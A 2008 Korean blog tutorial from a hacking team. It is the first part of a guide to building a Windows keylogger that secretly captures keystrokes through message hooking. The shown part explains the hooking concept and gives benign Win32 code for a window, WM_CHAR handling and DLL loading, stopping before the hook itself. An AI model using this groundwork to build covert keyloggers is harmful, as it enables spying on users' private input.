2008년 04월 18일
쓸만한 윈도우용 키로거툴 제작 [스크랩]
으흐. 안뇽~! 자랑스런 WiseGuys 팀원들!
아주 오랜만에 팀원들을 위해 쓰는 강좌군요. 앞으로 WG Document 제도가
적극 활성화되어 저를 비롯한 모든 팀원들이 주옥같은 문서들을 많이 만들어
내셨으면 하는 바램을 가지면서 강좌를 시작하겠습니다.

어떤 것을 주제로 첫 번째 WG Document를 만들까 고심하던 중 재미있는 것을
배우게 되었습니다. 그 내용은 바로 윈도우 기반의 Message를 Hooking하여
사용자의 입력을 몰래 가로채는 키로깅 툴을 만드는 방법입니다. 물론, 항상 그렇
듯이 이것을 만들어서 옆집 순자가 애인에게 보내는 이메일을 훔쳐보자는 의도가
아닙니다. 윈도우 환경에서의 Hooking이라! 말만 들어도 얼마나 멋진 말입니까?
이 문서를 보고 직접 키로거 툴을 만드는 실습을 해봄으로써, 윈도우 프로그래밍의
기초, 그리고 윈도우 해킹에 대한 지식을 한층 UPGRADE 시키실 수 있길 바랍니다.

먼저, 이 내용은 "해킹/파괴의 광학"이라는 서적의 내용을 토대로 작성한 것임을
밝힙니다. 인터넷 서점을 통해 보안 서적들을 구경하던 중 다소 억지스런 제목을
보고 무시했었으나, 목차를 본 후 혹시나 해서 구입했는데 매우 대만족입니다.
아마도 국내에선 유일하게 윈도우 시스템 해킹에 대해 깊게 다룬 서적이 아닌가
싶네요. Message Hooking에 대한 내용은 제 3장에 나와있구요. 핵심적인 내용만
나와있기 때문에 열장 정도밖에 되지 않습니다. 특히 독자가 윈도우 프로그래밍
지식이 있다고 가정하고 설명하였기 때문에 초보들이 보기에는 무리가 있을겁니다.
따라서, 이 강좌에선 윈도우 프로그래밍에 대한 세부적인 설명과 키로거 툴을 강화
시킬 수 있는 몇 가지 테크닉 등을 추가하여 설명하도록 하겠습니다.

◎ 이 문서의 내용을 실습하기 위해 필요한 것 : Visual Studio 6.0 이상.
◎ 이 문서를 학습함으로써 배울 수 있는 것들 : 윈도우 프로그래밍 기초, 메시지
후킹의 원리, 한글 오토마타 알고리즘, 그 외 윈도우 프로그래밍 테크닉.

지금 아마도 제가 어떻게 뭘 설명해 나갈지 궁금하실 겁니다. 따라서, 이 문서의
전반적인 내용을 한번 요약한 후 진행을 하도록 하겠습니다.

먼저, 메시지 후킹이란 무엇인지에 대해 설명할 겁니다. 그 다음엔 우리가 만들
키로거의 구현 알고리즘을 정리할 거구요. 다음엔 바로 캡쳐 화면들을 첨부하여
최대한 이해하기 쉽게 구현 과정을 설명하도록 하겠습니다. 가장 기본적인 키로깅
툴이 완성되면, 어떤 추가적인 기능들이 있으면 좋을지에 대해 설명하겠습니다.
그 다음엔 실제 그 기능들을 추가해 나가도록 하고, 마지막으로 완성된 툴의
작동을 시연해 보도록 하겠습니다. 기대가 되시나요~?

◎ 메시지 후킹(Message Hooking)이란 무엇인가?

여기서 후킹이란 단어는 지난번 우리가 리눅스 환경에서 "시스템 콜 후킹"을
배웠을 때의 그 후킹과 같은 의미입니다. 후킹이라는 단어는 "가로채다"라는
사전적 의미를 가지고 있으며, 해킹 분야에서는 "기존에 있는 정상적인 무언가를
중간에 가로채어 살짝쿵 변경한다" 정도의 의미로 사용됩니다.

쉽게 예를 한번 들어봅시다. 어여쁜 멍순이, 그리고 멋진 멍멍이, 마지막으로
그들 사이에 질투쟁이 구타가 있다고 해봅시다. 멍멍이는 멍순이를 위해 이쁜
반지를 하나 샀고, 저녁에 주기 위해 서랍에 잠깐 보관해 두었습니다.
그런데, 멍멍이가 자리를 잠깐 비운 사이에 질투쟁이 구타가 와서 그 반지가
들은 통을 열어 반지에 껌을 붙여 놓습니다. 이렇게 중간에 살짝 조작된 반지를
받은 멍순이는 "멍멍! 너무 고마워~! 근데 이 껌은 뭐 어쩌자는 거야?"라고 말하겠죠?
이처럼 후킹은 기존의 것을 살짝 수정하거나 아예 완전히 다른 것으로 바꿔치기
해버리는 것을 말합니다.

이제 실질적으로 예를 들어봅시다. 메시지.! 위도우 시스템은 메시지라는 것을
기반으로 작동합니다. 리눅스나 도스와 비교해 볼까요? 리눅스나 도스는 순차적인
코드의 흐름에 따라 실행됩니다. 코드를 따라가다 A가 나오면 A를 실행하고, 또
B가 나오면 B를 실행합니다. 하지만, 윈도우는 그렇지 않습니다. 윈도우 환경에서
실행된 프로그램은 항상 대기 상태에 있습니다. 그리고 특정 메시지가 발생하면,
그에 적합한 작업을 수행합니다. 예를들어 A라는 메시지가 발생하면 A에 맞는
작업을 수행하고, B라는 메시지가 발생하면 B에 맞는 작업을 수행합니다.

예를들어, 우리가 어떤 윈도우 프로그램을 실행시켜 놓고 마우스 왼쪽 버튼을
클릭하면 WM_LBUTTONDOWN 이라는 메시지가 발생합니다. 이 메시지를 받은 프로
그램은 프로그래머에의해 작성된 함수나 코드. 예를들면 connect_to_server()와
같은 작업을 수행합니다. "대기 상태로 있다가 사용자가 특별한 행동을하여
메시지가 발생하면 그에 적합한 작업을 수행한다" 우리가 평상시 사용하는 윈도우
프로그램들의 공통적인 특징임으로 쉽게 이해가 갈 것입니다.
또, 잠시 후 이러한 메시자 처리 과정을 직접 구현해 볼 것임으로 지금 완전히
이해하지 못하더라도 상관 없습니다.

그럼 메시지 후킹의 예를 들어볼까요? 만약 프로그래머가 이렇게 코딩을 했다고
해봅시다. "WM_LBUTTONDOWN이라는 메시지가 발생하면, 모니터에 출력되어있는 화면을
좌우로 마구 흔들어라." 그런데 이제 해커가 이 WM_LBUTTONDOWN 메시지를 다음과
같이 후킹합니다.

"WM_LBUTTONDOWN 메시지가 발생하면, 모니터의 내용을 상하로 절라게 흔들어라.
그리고, 흔드는게 끝나면 원래의 작업을 수행하라."

◎ 정상적인 과정
프로그램 실행 -> 마우스 왼쪽 버튼 클릭 -> 화면을 좌우 흔들기

◎ 메시지가 후킹된 후의 과정
프로그램 실행 -> 마우스 왼쪽 버튼 클릭 -> 상하로 흔들기 -> 좌우로 흔들기

약간 얼떨떨하게 이해하고 계신 상태에서 이제 제가 키로거의 구현 원리를 설명해
드리면 팍 이해가 되실 겁니다. 다음은 메시지를 후킹하여 키보드 입력을 가로채는과정입니다.

◎ 정상적인 과정
프로그램 실행 -> 사용자가 X라고 입력 -> 입력된 X가 화면에 출력됨

◎ 메시지가 후킹된 후의 과정
프로그램 실행 -> 사용자가 X라고 입력 -> 특정 파일에 살짝쿵 저장 -> X가 출력

매우 단순한 원리죠? 실제 구현 과정 역시 매우 간단하답니다. 그럼 지금까지 배운 개념적인 내용을
실제 프로그램으로 구현해 보도록 하겠습니다. 프로그램 구현을
한번 해보고 앞서 확실히 이해하지 못했던 부분들을 다시 읽어보시면 이번엔 아주
쉽게 이해가 될 것입니다. 역시 실습이 짱이랑께~!

그럼 이제 비쥬얼 스튜디오를 실행하시고, 다음의 순서로 코딩 준비를 합니다.
비쥬얼 스튜디오가 없으신 분은 직접 구하셔서 따라하시던지, 아니면 그냥 캡쳐
화면만 보고 배우시기 바랍니다. 물론, 직접 따라하신 분과 눈으로 보기만 한 분
사이에는 엄청난 차이가 있을 것입니다. '할 수 있을 거 같다'와 '할 수 있다'는
완전히 다른 것이거든요.

◎ 코딩 준비 순서
1. Visual Studio 실행
2. File - New를 클릭한 후, Projects 탭에서 Win32 Application 선택



3. 오른쪽의 Project Name에 WG Keylogger라고 입력 후 OK 버튼 클릭.
4. 다음 창이 나오면 Finish 클릭. 그 다음엔 OK 클릭.

이제 코딩 준비는 완료되었습니다. VC에서 이렇게 프로젝트를 하나 생성하면,
c:\Program Files\Microsoft Visual Studio\MyProjects에 새로운 폴더가 생깁니다.
(위의 2번 과정에서 이 폴더를 임의로 변경할 수도 있습니다.)
새로운 폴더는 우리가 정한 WG Keylogger라는 이름으로 생성되고, 그 안에는
WG Keylogger.dsp, WG Keylogger.dsw, WG Keylogger.ncb 이렇게 세 개의 파일이
저장됩니다. 이 기본으로 세 개의 파일은 해당 프로젝트의 기본이 되는 정보들을
담고 있습니다. .dsp 파일은 이 프로젝트의 컴파일 정보를 담고 있습니다. 리눅스
와 비교해보면 Makefile과 비슷한 것입니다. .dsw 파일은 일명 work space 파일로,
.dsp 파일의 정보만을 담고있기 때문에 별로 중요한 역할은 하지 않습니다. 만약
실수로 삭제한다고 하여도 다시 생겨나는 그런 파일입니다. .ncb 파일 역시 프로
젝트의 잡다한 정보를 기록하는데, .dsw와 마찬가지로 삭제해도 다시 생겨납니다.
요점은 새로운 프로젝트를 생성하면 3개의 새로운 파일이 생겨나는데, .dsp 파일이
가장 중요하고, 나머지 2개는 별로 중요하지 않다.. 뭐 이런 말입니다.

이제 이 프로젝트에 main.cpp를 추가해 봅시다. File - New를 클릭하시고, 이번엔
Files 탭에서 C++ Source File을 선택합니다. 오른쪽의 File 부분에는 main이라고
입력하시고, 마지막으로 OK를 클릭합니다. 그럼 이 프로젝트에 main.cpp이 추가
되구요. 확장자는 cpp이지만, 코딩은 C로하던 C++로하던 사용자 마음입니다.
참고로 우리는 앞으로 대부분의 내용을 C로 코딩해 나갈겁니다.



이제 화면을 잘 봅시다. 아마 Visual Studio의 메인 윈도우는 2개 혹은 3개 이상
으로 나뉘어져 있을겁니다. 화면 구성은 자신의 구미에 맞게 조절하시면 됩니다.
저는 다음과 같이 왼쪽에 소스 코드가 오고, 오른쪽에 WorkSpace Tree가 오도록
합니다.



그럼 이제 코딩에 들어가봅시다. 먼저 가장 기본적인 윈도우 창을 만들어 보겠
습니다. DOS나 LINUX에서 C를 처음 배울 때, "Hello, New World!"를 출력하는
프로그램을 만들죠? 윈도우 API를 처음 배울 때는 통상적으로 텅~빈 윈도우 하나를
만들어 봅니다. 그럼 이제 그것을 만들어 보겠습니다.

◎ 기본 윈도우 창 만들기 순서

1. WinMain() 함수 생성
2. 생성할 윈도우의 구조체 값을 채움
3. 완성된 구조체를 윈도우 클래스에 등록
4. 이 클래스를 이용하여 화면에 윈도우 생성

일단 여기까지 해보겠습니다. 먼저, WinMain() 함수를 만들어봅시다. 윈도우 API
에서의 WinMain() 함수는 다음과 같은 모습입니다.

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nShowCmd)
{
...
}

WinMain이란 이름은 일반 C언어에서의 main과 같은 역할을 합니다. 즉, 프로그램
에서 가장 먼저 실행되는 함수입니다. 또, 윈도우 API에서는 dos에서와는 달리
변수나 함수를 사용할 때, 대소문자를 확실하게 구분해 주어야합니다.
WinMain 함수의 인자가 조금 복잡한데요. 간단간단하게 설명해서, hInstance는
프로그램 자체의 포인터라고 생각하시면 되고, 그 다음 hPrevInstace는 해당
프로그램이 동시에 몇개가 실행되었는지를 파악할 때 사용하는 변수입니다.
lpCmdLine은 LINUX의 argv와 같이 프로그램의 인자를 의미하구요. 마지막으로
nShowCmd는 실행되는 프로그램의 모양을 나타냅니다.

그럼 두 번째 순서로 넘어가서, 생성할 윈도우의 구조체를 하나 선언한 후, 그
값들을 채워나가봅시다. 다음의 코드들을 WinMain 함수 안쪽에 입력해 넣읍시다.

HWND hWnd;        // 조금 있다가 메모리에 윈도우 창을 생성한 후, 그 위치를 저장할
                        // 목적의 변수입니다.

MSG message;        // 윈도우에서 발생하는 메시지들을 저장할 변수입니다.

WNDCLASS wndclass;        // 화면에 생성할 윈도우 클래스 선언. 클래스라는 단어는
                          // 윈도우 창의 특징들을 모아놓은 묶음 정도로 생각하시면
                         // 됩니다.

wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
// 이 두개는 추가 메모리를 사용하고자할 때 사용하는 것이며, 실제로는 거의
활용되지 않습니다. 둘 다 0으로 지정합니다.

wndclass.hbrBackground = (HBRUSH)GetStockObject( GRAY_BRUSH );        
// 메인 윈도우의 배경색을 지정합니다. 회색으로 해볼까요?

wndclass.hCursor = LoadCursor( NULL, IDC_ARROW );        
// 윈도우 안에서의 마우스 커서 모양입니다. 기본 모양인 화살표(ARROW)로 했습니다.

wndclass.hIcon =  LoadIcon( NULL, IDI_APPLICATION );
// 메인 윈도우의 아이콘 모양입니다. 기본으로 제공되는 것을 사용했습니다.

wndclass.hInstance =  hInstance;
// 프로그램의 인스턴스입니다. 인스턴스는 앞서 그 프로그램 자체를 가리키는
것이라고 설명했습니다. WinMain의 첫 번재 인자로 받은 것을 넣어줍니다.

wndclass.lpfnWndProc = (WNDPROC)WndProc;
// 이 윈도우에서 발생하는 메시지들을 처리할 함수를 지정합니다.

wndclass.lpszClassName =  "WG WINDOW";        
// 이 윈도우 클래스의 이름을 지정해 놓아야 나중에 불러서 사용할 수 있습니다.

wndclass.lpszMenuName = NULL;
// 윈도우 창 윗쪽에 붙일 메뉴를 지정합니다. 우리는 메뉴를 사용하지 않습니다.

wndclass.style = NULL;
// 이 윈도우의 부가적인 특징을 지정해 줍니다.

끝~! 조금 복잡하죠? 위의 내용은 초기 기본이되는 윈도우 창을 만들기 위해 꼭
한번은 거쳐야하는 작업입니다. 여러번 윈도우 프로그래밍을 하다보면 위 내용을
외우게 되는데요. 한 2~3달 안하다가 다시 하려고하면 금새 잊어버리는 그런 부분
입니다. 저같은 경우엔 매번 치기 귀찮아서 아예 테크노트에 위 코드를 적어놓고
필요할 때마다 가져다 쓰고 있습니다.

이제 이 구조체를 실제 윈도우 클래스 목록에 등록해야 합니다.

RegisterClass( &wndclass );        // 해당 윈도우 클래스 구조체를 등록.

마지막으로 할 건, 지금까지 만든 "WG WINDOW"라는 이름의 윈도우 창을 화면에
생성하는 것입니다. 다음과 같이 입력합니다.

hWnd = CreateWindow("WG WINDOW", "앗싸 내가 만들었다.", WS_OVERLAPPEDWINDOW,
200, 200, 500, 500, NULL, (HMENU)NULL, hInstance, NULL );
// 첫 번째 인자는 윈도우를 생성할 때 사용할 클래스명. 두 번째 인자는 창의
타이틀바에 들어갈 문자열, 세 번째는 윈도우의 형태(여기선 기본 형태), 네, 다섯
번째는 윈도우를 출력할 X, Y 좌표, 그 다음 두 개는 창의 좌 우 길이, 그 다음엔
네 개는 나중에 쓸 일이 나온다면 배우는 걸로 하겠습니다. 한꺼번에 너무 많이
외우면 머리 아프니까요.

ShowWindow( hWnd, nShowCmd );        
// 위는 메모리에 윈도우를 생성만 한 것이구요, 위 처럼 ShowWindow 함수로 실제
화면에 출력해야 우리가 볼 수 있습니다.        

실제 여기까지 과정을 거치면 화면에 윈도우 창이 하나 생성됩니다.
이제 이 윈도우에서 발생하는 메시지들을 처리할 수 있게 코드를 추가합시다.

while( GetMessage( &message, NULL, 0, 0 ) ){        
        TranslateMessage( &message );        // 메시지 번역
        DispatchMessage( &message );        // 메시지 처리
}

return message.wParam;

위 루틴은 윈도우의 메시지 큐에서 가장 상위에 있는 메시지를 하나 뽑아와서
message 변수에 저장한 후, 그것을 번역한 다음 처리하는 과정을 담고 있습니다.
마지막 단계인 처리라는 것의 실제 작동은 단순히 앞서 지정한 메시지 처리 함수로
이 메시지를 전달하는 것입니다. 자, 그럼 이제 메시지 처리 함수를 만들어 볼까요?

LRESULT CALLBACK WndProc( HWND hWnd, UINT iMessage, WPARAM wParam, LPARAM lParam )
{                
        switch( iMessage )
        {
        case WM_DESTROY:
                PostQuitMessage( 0 );
                // 프로그램을 종료.
        }
        return DefWindowProc( hWnd, iMessage, wParam, lParam );
        // 위에서 정의되지 않은 메시지는 기본으로 처리.
}

위 메시지를 처리하는 함수는 CALLBACK 타입으로 지정됩니다. CALLBACK이라는 것은
이 함수가 사용자에의해 호출되는 것이 아닌, 프로그램에의해 호출된다는 의미에서
붙여진 것입니다. 위에서 DispatchMessage() 함수에 의해 이 WndProc 함수가 호출
된다고 했었습니다. 이처럼 사용자가 함수를 호출하지 않고, 프로그램이 함수를
호출했습니다.

이제 인자들을 볼까요? hWnd는 이 메시지가 발생한 윈도우가 어떤 것이었는지를
말해줍니다. 그 다음 iMessage는 실제 발생한 메시지를 나타내며, WM_DESTROY등
으로 정의되어있지만, 실제로는 단순히 정수 값입니다. 마지막 wParam과 lParam은
해당 메시지의 추가 옵션으로 이해하시면 됩니다.

그 다음엔 switch 문을 사용하여 해당 메시지가 어떤 것인지를 판별합니다.
위에서는 WM_DESTORY 메시지 하나에 대한 처리만을 구현하였습니다. WM_DESTORY
메시지는 사용자가 해당 윈도우에서 alt+f4를 클릭하거나, x버튼을 눌러 윈도우를
닫고자할 때 발생합니다. PostQuitMessage는 프로그램을 종료하라는 의미를 가진
함수입니다. 마지막으로, return ... 부분은 switch 문에서 처리하지 않은 윈도우
메시지들은 기본 설정으로 처리하라는 명령입니다. 예를들어 _ 버튼을 눌러 윈도우
를 최소화시키면 SIZE_MINIMIZED 메시지가 발생하는데, 이에대한 처리를 우리가
일일이 해줄 수 없기 때문에 DefWindowProc 함수에게 맡겨 버립니다. 이 예
외에도 아주 많은 기본 메시지를 이 DefWindowProc 함수가 처리함으로, 꼭 잊지
말고 입력해 주어야 합니다.

자~~ 여기까지해서 기본 윈도우 만들기 실습이 끝났습니다. 주석 때문에 소스가
다소 복잡해 보이기 때문에 다시 한번 알짜배기 소스를 보여드리겠습니다.

===================== 기본 윈도우 창 출력 프로그램 =========================

#include

LRESULT CALLBACK WndProc( HWND hWnd, UINT iMessage, WPARAM wParam, LPARAM lParam )
{                
        switch( iMessage )
        {        
        case WM_DESTROY:
            PostQuitMessage( 0 );
                        break;
        }
        return DefWindowProc( hWnd, iMessage, wParam, lParam );
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nShowCmd)
{
        HWND hWnd;        
        MSG message;
        WNDCLASS wndclass;
        
        wndclass.cbClsExtra = 0;
        wndclass.cbWndExtra = 0;
        wndclass.hbrBackground = (HBRUSH)GetStockObject( GRAY_BRUSH );        
        wndclass.hCursor = LoadCursor( NULL, IDC_ARROW );        
        wndclass.hIcon =  LoadIcon( NULL, IDI_APPLICATION );
        wndclass.hInstance =  hInstance;
        wndclass.lpfnWndProc = (WNDPROC)WndProc;
        wndclass.lpszClassName =  "WG WINDOW";        
        wndclass.lpszMenuName = NULL;
        wndclass.style = NULL;

        RegisterClass( &wndclass );        

        hWnd = CreateWindow("WG WINDOW", "앗싸 내가 만들었다.", WS_OVERLAPPEDWINDOW,
                        200, 200, 500, 500, NULL, (HMENU)NULL, hInstance, NULL );
        ShowWindow( hWnd, nShowCmd );    
    
        while( GetMessage( &message, NULL, 0, 0 ) ){        
                TranslateMessage( &message );      
                DispatchMessage( &message );    
        }
        return message.wParam;
}

============================================================================

각 라인이 무엇을 의미하는지 천천히 되새겨 보시기 바랍니다.
그럼 이제 컴파일을 해야겠지요? Ctrl + F5 단축키를 이용하여, 컴파일과 실행을
동시에 하실 수 있습니다.



[실행해보기]

그럼 위와 같은 윈도우 창이 화면에 출력될 것입니다. 성공하셨나요?
이제 이 윈도우 창이 여러 다른 메시지들을 처리하도록 구현해 보도록 하겠습니다.
앞서 입력해 본 소스 코드에서 메시지 처리 과정을 어느정도는 이해하셨으리라
생각합니다. 정리를 하자면, 처음 프로그램이 실행되면, while()문에 의하여
메시지 큐에서 메시지가 있는지를 확인합니다. GetMessage 함수는 메시지 큐에
메시지가 생길 때까지 BLOCK 됨으로, while() 문의 과도한 무한루프에 의해
CPU가 소모되는 것이 방지됩니다. 만약 메시지큐에서 메시지가 발생하면, 그
메시지는 TranslateMessage 함수를 거쳐 한 번 해석된 후, DispatchMessage
함수에의해 WndProc CALLBACK 함수로 전달됩니다. 이 CALLBACK 함수에는 전달
받은 메시지에 대한 처리들이 구현되어있으며, 구현되지 않은 부분에 대해서는
DefWindowProc 함수가 적절한 처리를 대신해 줍니다. 요약해 보겠습니다.

◎ 윈도우 API 프로그램의 동작 루틴

1. 프로그램 실행
2. 무한루프로 메시지 큐의 내용을 받아옴
3. 받아온 메시지는 CALLBACK 함수에 의해 처리됨
4. 2~3번 과정 반복
5. WM_DESTROY 메시지 발생 시 프로그램 종료.

따지고보니 매우 간단하지요? 모든 윈도우 프로그램들이 위 기본 뼈대를 기본으로
조금씩 응용되어 나간 것입니다. 위에서 가장 중점이되는 부분은 2번과 3번 즉,
메시지를 처리하는 부분이겠지요? 따라서, 윈도우 프로그램들을 메시지 기반의
프로그램이라고 부르는 것입니다.

자, 그럼 이제 CALLBACK 함수를 조금 수정하여 여러 종류의 메시지를 처리해
보도록 하겠습니다. CALLBACK 함수를 다음과 같이 수정합니다.

LRESULT CALLBACK WndProc( HWNLRESULT CALLBACK WndProc( HWND hWnd, UINT iMessage, WPARAM wParam, LPARAM lParam )
{                
    switch( iMessage )
    {        
        case WM_CREATE:
                MessageBox(hWnd, "프로그램이 실행되었습니다!", "알림", MB_OK);
                break;
        case WM_LBUTTONDOWN:
                MessageBox(hWnd, "왼쪽 버튼을 누르셨군요!", "알림", MB_OK);
                break;
        case WM_RBUTTONDOWN:
                MessageBox(hWnd, "오른쪽 버튼을 누르셨군요!", "알림", MB_OK);
                break;
        case WM_CHAR:
                MessageBox(hWnd, "키보드를 누르셨군요!", "알림", MB_OK);
                break;
    case WM_DESTROY:
                MessageBox(hWnd, "프로그램을 종료합니다.!", "알림", MB_OK);
        PostQuitMessage( 0 );
                break;
    }
    return DefWindowProc( hWnd, iMessage, wParam, lParam );
}

프로그램이 어떻게 변할지 쉽게 예상이 되지요? 다음 실행 파일을 통하여 확인해
봅시다. 보통 *.exe 파일을 실행할 때는 바이러스가 의심되기 마련인데, 해쿨의
이름을 걸고 개미 쪼가리 만큼의 바이러스도 없음을 맹세합니다. 믿으시오~!

[실행해보기]

재미있지 않나요~? 아마도 윈도우 프로그래밍에 대한 관심이 조금씩 생기실텐데요.
본격적으로 공부하시려면 가남사의 Windows API 정복이라는 서적을 구입하세요.
Windows API에 대한 거의 모든 것을 담고있는 명서랍니다. 이 책 한권이면 웬만한
윈도웅요 프로그램은 다 만들 수 있음~! 공부하시다가 막히는거 있으면 게시판을
통해 물어보시구요.

이제 키로깅과 관련되게 CALLBACK 함수를 수정해보고, 그 다음에 본격적인 후킹
작업에 들어가도록 하겠습니다. 위 함수를 다음과 같이 수정해 보세요.!


LRESULT CALLBACK WndProc( HWND hWnd, UINT iMessage, WPARAM wParam, LPARAM lParam )
{
    char str[100];

    switch( iMessage )
    {        
        case WM_CHAR:                
                wsprintf(str, "%c키를 누르셨습니다.!", wParam);
                MessageBox(hWnd, str, "알림", MB_OK);
                break;
    case WM_DESTROY:                         
        PostQuitMessage( 0 );
                break;
    }
    return DefWindowProc( hWnd, iMessage, wParam, lParam );
}

프로그램이 어떻게 변하는지 확인해 봅시다. 아래 프로그램을 실행한 후, 키보드를
입력해 보세요.

[실행해보기]

오케이~ 여기까지 잘 따라오셨다면, 윈도우 프로그래밍의 반은 익히신 겁니다.
혹시 이해가지 않는 부분이 있다면 저에게 추가 설명을 요청하시던지, 해당 부분을
여러번 반복하여 읽어보시기 바랍니다.

이제부터는 메시지 후킹에 대해 공부하겠습니다. 과현 메시지 후킹은 어떤 원리로
이루어지는 것일까요? 아이러니하게도, 윈도우 API에는 메시지를 마음대로 후킹할
수 있도록 해주는 함수를 제공해 줍니다. 조금 웃기죠? 날 먹어주쇼~ 하는 것도
아니고.. 뭐 실제로는 메시지 후킹으로 더욱 발전된 프로그램을 만들라는 의도
였겠지요. 어쨌건 이 함수로 우리는 매우 쉽게 메시지들을 후킹할 수 있습니다.

그럼 이제 후킹에 필요한 무기들을 배워봅시다.

◎ 메시지 후킹을 위해 필요한 지식들

1. 동적 라이브러리를 만들 수 있어야 합니다.
2. 동적 라이브러리 안의 함수를 가져와 사용할 수 있어야 합니다.
3. SetWindowsHookEx 함수를 사용할 수 있어야 합니다.

난데없이 왠 동적 라이브러리~? 윈도우에서 실행된 프로세스들은 리눅스에서와
마찬가지로 보호 모드에의해 각자 독립적인 메모리 공간을 갖게됩니다. 즉, 가상
메모리를 체계를 사용한다는 말입니다. 우리는 조금 있다가 SetWindowsHookEx
함수를 이용하여 특정 메시지가 발생할 때, 우리가 작성한 특정 함수가 호출
되도록 후킹할 것입니다. 하지만, 가상 메모리 체계에서 어떻게 다른 프로세스
의 함수를 호출할 수 있을까요? 일단 결론은 불가능하다는 것입니다. 리눅스에서와
마찬가지로 한 프로세스 내에서 다른 프로세스의 변수나 함수에 접근하는 것은
불가능합니다. 그래서 그에 따른 우회 방법으로 바로 동적 라이브러리를 사용하는
것입니다. 특정한 한 프로그램이 동적 라이브러리를 등록하면, 그 등록된 라이브
러리가 이후에 실행되는 모든 프로세스에 적용이 됩니다. 바로 이 특징을 이용하면
한 프로세스가 자신의 코드에 포함되어있지 않은 함수를 실행할 수 있게되는 것
입니다. 백견이 불여일행. 이제 동적 라이브러리를 제작하고, 또 사용하는 실습을
시작해봅시다.



일단, 동적 라이브러리 프로젝트를 생성합니다. File - New - Projects 탭에서
Win32 Dynamic-Link Library를 선택한 후, 이름은 DLL TEST라고 짓습니다.
그 다음엔 FINISH와 OK를 순서대로 클릭하면 되고, File - New - Files에서
C++ Source File을 선택한 다음 main을 오른쪽에 입력합니다.



이제 라이브러리 코드를 입력해 나가는데, 다음의 코드를 보면 한 눈에 바로
어떤 내용의 동적 라이브러리인지 추측할 수 있을 것입니다.

#include

__declspec(dllexport) int WiseGuys(int a, int b)
{
        return a+b;
}

WiseGuys라는 이름의 함수를 만들었으며, 이것은 동적 라이브러리 안에서 작동
합니다. 하지만, 여기서 끝나는게 아니고, 이런 함수가 있다는 사실을 *.def
파일에 정의해 주어야 합니다. 다음과 같은 과정을 거칩니다.

WorkSpace 윈도우에서 Source Files를 클릭하고, 오른쪽 마우스 버튼을 눌러
Add Files to Folder를 선택합니다.



그 다음엔 파일 이름 부분에 test.def라는 파일명을 입력하고, OK 버튼을 클릭
합니다. 그럼 이러한 파일이 없는데 계속 진행하겠냐는 의미의 창이 출력되고,
예(Y)를 클릭하면 계속 진행됩니다. 이번엔 WorkSpace 부분에 새로 생성된
test.def를 더블 클릭합니다. 또 이번엔 이 파일을 생성하겠냐는 창이 출력됩니다.
역시 예(Y)를 클릭하면 .def 파일을 만들 준비가 완료됩니다. 이제 이 곳에 다음과
같이 입력합니다.

LIBRARY                TEST
EXPORTS
        WiseGuys        @1

이렇게 입력하였다면 이제 동적 라이브러리를 컴파일할 준비가 완료된 것입니다.
Ctrl + F5 키를 눌러 컴파일을 완료한 후, 다음과 같은 창이 출력된다면 성공한
것입니다. 취소를 눌러 이 창은 닫아버립니다.



이제 해당 프로젝트의 DEBUG 폴더에 가면 "DLL TEST.dll"이 생성되어있을 것입니다.
이로써 동적 라이브러리 생성은 완료되었습니다. 매우 간단하죠~?
자, 그럼 이번에는 이 정적 라이브러리를 사용하는 프로그램을 만들어 봅시다.

아까 만들어두었던 키보드를 입력하면 어떤 키를 입력했는지 화면에 출력해주던
그 프로그램을 수정하여 만들도록 하겠습니다. CALLBACK 함수 부분만 다음과 같이
수정해 줍니다.

============================= DLL을 로드하는 예 =============================

LRESULT CALLBACK WndProc( HWND hWnd, UINT iMessage, WPARAM wParam, LPARAM lParam )
{
        static HINSTANCE hinstDll;        // 동적 라이브러리를 가리킬 핸들.
        int (*MyFunc)(int, int);        // DLL안의 WiseGuys 함수를 가리킬 포인터.
        char str[100];        // 메시지 출력에 사용할 변수.

        switch( iMessage )
        {        
        case WM_CREATE:
                hinstDll = LoadLibrary("DLL TEST.dll");        // DLL을 로드한다.
                if(!hinstDll){
                        MessageBox(hWnd, "DLL TEST.dll을 로드할 수 없습니다.", "오류", MB_OK);
                        ExitProcess(1);
                }

                MyFunc = (int (*)(int, int))GetProcAddress(hinstDll, "WiseGuys");
                // WiseGuys 함수를 로드한다.

                if(!MyFunc){
                        MessageBox(hWnd, "WiseGuys 함수를 로드할 수 없습니다.", "오류", MB_OK);
                        FreeLibrary(hinstDll);
                        ExitProcess(1);
                }

                wsprintf(str, "3 + 5는 %d 입니다.", MyFunc(3, 5));
                MessageBox(hWnd, str, "알림", MB_OK);

                return 0;
        case WM_DESTROY:
                PostQuitMessage( 0 );
                break;
        }
        return DefWindowProc( hWnd, iMessage, wParam, lParam );
}

===========================================================================

어떤 내용인지 딱 보시면 대충 아시겠죠? 아마도 확실하게 이해하시려면 위 코드를
한~참 들여다보셔야 할 겁니다. 저만해도 처음 생소했던 위 내용을 이해하기 위해
함참을 생각해야 했습니다. 하지만, 위 코드를 한번만 이해하고 나면 무지 쉬운
절차로 DLL 안의 함수를 호출한다는 것을 알게 되실 겁니다. 정리를 해드리자면,

LoadLibrary 함수로 DLL을 불러들임. -> GetProcAddress 함수로 불러들인 DLL 안
에서 특정 함수를 찾아냄. -> 그 함수를 사용함.

의 순서가 됩니다. 실제 키로거를 구현할 때도 이 과정을 거치게 되니 잘 기억해
놓으시기 바랍니다. 이제 위 프로그램을 실행해 봅시다. 그럼 DLL 파일을 찾을 수
없다는 에러 메시지가 나타날 것입니다. 우리가 LoadLibrary 함수로 특정 DLL을
호출하면 프로그램은 다음과 같은 경로에서 DLL 파일을 검색합니다.

1. 실행된 폴더
2. WINDOWS의 SYSTEM 폴더
3. WINDOWS 폴더
4. PATH에 지정된 경로들

그리고 만약 위 경로에서 DLL을 찾지 못하면 NULL이 리턴됨으로 에러가 발생됩니다.

[실행해보기]

이제 앞서 만든 "DLL TEST.dll"을 복사하여 방금 만든 프로그램이 컴파일 된
DEBUG 폴더에 복사해 넣습니다. 그리도 다시 프로그램을 실행하면, 다음과 같이
예측된 결과가 나타날 것입니다.



[DLL 다운 받기]

이걸로 DLL 파일 생성과, 사용 방법에 대한 설명을 마치도록 하겠습니다.
키로거 구현을 공부하면서 이렇게 DLL을 다루는 방법까지 자연스럽게 배우게
되다니 너무 신기하지 않습니까? 역시 Hacking은 우리가 힘들게 공부한 댓가를
확실하게 돌려준다는 생각이 듭니다.

